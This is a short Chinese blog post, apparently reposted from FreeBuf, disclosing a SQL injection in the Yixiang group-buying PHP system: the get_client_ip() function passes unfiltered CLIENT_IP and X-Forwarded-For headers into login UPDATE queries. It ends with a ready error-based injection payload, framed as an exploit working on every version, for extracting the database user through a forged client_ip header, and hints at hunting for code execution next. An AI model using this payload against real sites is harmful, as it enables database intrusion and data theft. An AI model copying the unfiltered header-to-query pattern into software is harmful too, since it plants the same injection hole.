刚打开红黑看到基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序。
找到get_client_ip()函数:
// 获取客户端IP地址 function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); }
果然没过滤,看了下很多地方用到这个函数。
比如:
if($_REQUEST['act'] == 'verify') { $id = intval($_REQUEST['id']); $user_info = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."user where id = ".$id); if(!$user_info) { showErr($GLOBALS['lang']['NO_THIS_USER']); } $verify = $_REQUEST['code']; if($user_info['verify'] == $verify) { //成功 $_SESSION['user_info'] = $user_info; $GLOBALS['db']->query("update ".DB_PREFIX."user set login_ip = '".get_client_ip()."',login_time= ".get_gmtime().",verify = '',is_effect = 1 where id =".$user_info['id']); $GLOBALS['db']->query("update ".DB_PREFIX."mail_list set is_effect = 1 where mail_address ='".$user_info['email']."'"); $GLOBALS['db']->query("update ".DB_PREFIX."mobile_list set is_effect = 1 where mobile ='".$user_info['mobile']."'"); showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT."/"); }
团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数。
果断的,登陆的时候在http头里面加了个client_ip,值为127′
看图:
报错注入,很简单吧,
exp:
火狐插件增加client_ip头部,对应值为
‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#
这套程序用的thinkphp的框架,回头看看有没有代码执行。
摘自:http://www.freebuf.com/articles/web/8422.html
留言评论(旧系统):